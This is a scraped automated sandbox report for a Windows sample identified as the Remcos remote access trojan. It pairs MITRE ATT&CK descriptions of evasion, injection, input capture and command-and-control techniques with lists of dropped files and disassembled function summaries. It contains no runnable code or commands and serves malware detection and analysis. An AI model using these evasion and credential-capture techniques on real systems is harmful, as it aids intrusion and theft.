Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Remcos

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\remcos\logs.dat

C:\Users\user\AppData\Local\Temp\nsb535E.tmp

C:\Users\user\AppData\Local\Temp\nsb53FB.tmp

C:\Users\user\AppData\Local\Temp\nsg52E0.tmp

C:\Users\user\AppData\Local\Temp\nsp50AC.tmp

C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nsz4EC6.tmp

C:\Users\user\AppData\Local\Temp\subfolder1\Vaskegthed.exe

C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate\Bryggerheste128.lyd

C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate\Herkomsts.Bre

C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate\Justifyingly.Mis

Windows Analysis Report
IMG635673567357735773573757875883587935775753Bjlkeloftet.exe

Function 004033D8 Relevance: 91.4, APIs: 32, Strings: 20, Instructions: 430
stringfilecomCOMMON

Function 0040550F Relevance: 54.3, APIs: 36, Instructions: 282
windowclipboardmemoryCOMMON

Function 00405A4F Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 159
filestringCOMMON

Function 00403E33 Relevance: 61.6, APIs: 34, Strings: 1, Instructions: 357
windowstringCOMMON

Function 00403A96 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Function 00402F31 Relevance: 28.2, APIs: 5, Strings: 11, Instructions: 181
memoryCOMMON

Function 00406320 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 208
stringCOMMON

Function 0040177E Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Function 004053D1 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Function 00403168 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 166
COMMON

Function 00406647 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 6E33176B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 00401C53 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre